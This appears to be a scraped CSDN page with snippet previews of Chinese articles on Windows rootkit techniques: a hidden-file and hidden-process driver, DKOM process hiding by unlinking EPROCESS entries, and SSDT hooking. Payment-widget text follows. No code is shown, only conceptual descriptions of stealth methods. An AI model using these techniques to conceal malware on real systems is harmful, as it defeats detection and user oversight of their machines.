点击蓝字关注我们# 前言在家闲着无聊写了一个隐藏文件隐藏进程的驱动模块就是大家俗称的rootkit技术#Rootkit介绍Rootkit 是一种特殊类型的 malware(恶意软件)，Rootkit 之所以特殊是因为您不知道它们在做什么事情。Rootkit 基本上是无法检测到的，而且几乎不能删除它们。虽然检测工具在不断增多，但是恶意软件的开发者也在不断寻找新的途径来掩盖他们的踪迹。R...
驱动开发：DKOM 实现进程隐藏
CSDN
10-11 5523
DKOM 就是直接内核对象操作技术，我们所有的操作都会被系统记录在内存中，而驱动进程隐藏的做旧就是操作进程的EPROCESS结构与线程的ETHREAD结构、链表，要实现进程的隐藏我们只需要将某个进程中的信息，在系统EPROCESS链表中摘除即可实现进程隐藏。DKOM 隐藏进程的本质是操作EPROCESS结构体，EPROCESS结构体中包含了系统中的所有进程相关信息，还有很多指向其他结构的指针，首先我们可以通过WinDBG在内核调试模式下输入。函数就无法遍历出被摘链的进程了，从而实现了进程的隐藏。
delphi ssdt
12-14
Delphi SSDT（System Service Dispatch Table）是指Delphi编程语言中的一种技术，用于修改或者通过HOOK方式来拦截Windows操作系统的系统服务。系统服务是操作系统提供给应用程序调用的功能模块，常见的系统服务包括文件操作、网络通信、进程管理等。SSDT可以对这些系统服务进行原地修改，比如替换其中的函数指针，从而达到修改系统行为的目的。 通过修改SSDT表项，我们可以实现一些有趣的功能，比如： 1. Hook函数：可以通过修改SSDT表项来替换系统服务的函数指针，从而替换系统函数的行为。这样可以实现一些功能，比如对特定系统调用进行监控、过滤或重定向。 2. 隐藏进程：通过修改SSDT表项，可以修改系统的进程管理函数，从而实现对进程的隐藏和保护。这对于一些恶意软件的防治非常有用。 3. 反病毒技术：一些激进的反病毒软件会通过修改SSDT来实现对病毒行为的防治，比如对恶意软件的行为监控和拦截。 然而，在实际应用中，修改SSDT可能会对系统造成一些潜在的问题，比如系统稳定性、安全性等。因此，在使用SSDT技术时，必须小心谨慎，遵循一些原则和规范，确保对系统的影响最小化。 总之，Delphi SSDT是一项强大的技术，可以实现一些有趣和实用的功能，但同时也需要谨慎使用，尽量避免对系统造成不必要的影响。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值